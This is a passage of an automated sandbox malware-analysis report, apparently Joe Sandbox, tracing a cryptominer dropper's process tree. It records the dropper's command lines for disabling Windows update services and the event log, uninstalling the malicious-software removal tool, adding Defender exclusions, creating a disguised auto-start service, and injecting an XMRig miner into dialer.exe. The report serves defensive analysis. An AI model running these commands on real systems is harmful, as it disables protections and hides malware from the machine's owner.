File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6085f0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff645cd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff645cd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff645cd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff645cd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff64c5c0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:16:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:16:03
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "GeekBrains"
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:16:03
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff6156c0000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto"
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "GeekBrains"
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff654c90000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\ProgramData\Screenshots\Lightshot.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Screenshots\Lightshot.exe
Imagebase:	0x7ff6e4d80000
File size:	2'876'416 bytes
MD5 hash:	990A3F3B1273510F210FB9B541DA219F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	04:16:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	04:16:05
Start date:	10/01/2025
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff79d4a0000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6218c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6085f0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	04:16:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6bbbe0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff645cd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff645cd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff645cd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff645cd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff64c5c0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff64c5c0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	dialer.exe
Imagebase:	0x7ff64c5c0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	66
Start time:	04:16:07
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	67
Start time:	04:16:08
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	68
Start time:	04:16:08
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	69
Start time:	04:16:08
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.8%
Total number of Nodes:	174
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF72A7B118B Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 108
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF72A7B11A5
_amsg_exit.MSVCRT ref: 00007FF72A7B11CC
_initterm.MSVCRT ref: 00007FF72A7B120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF72A7B1156), ref: 00007FF72A7B124E
malloc.MSVCRT ref: 00007FF72A7B127E
strlen.MSVCRT ref: 00007FF72A7B12A4
malloc.MSVCRT ref: 00007FF72A7B12B0
memcpy.MSVCRT ref: 00007FF72A7B12C3
_cexit.MSVCRT ref: 00007FF72A7B132D

Strings

Hc=v+, xrefs: 00007FF72A7B126F
&, xrefs: 00007FF72A7B1265

Memory Dump Source

Source File: 00000000.00000002.2095626080.00007FF72A7B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72A7B0000, based on PE: true

Associated: 00000000.00000002.2095610218.00007FF72A7B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095648554.00007FF72A7BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095687177.00007FF72A7BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095705358.00007FF72A7BF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095920907.00007FF72AA3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095948020.00007FF72AA72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2095966064.00007FF72AA75000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

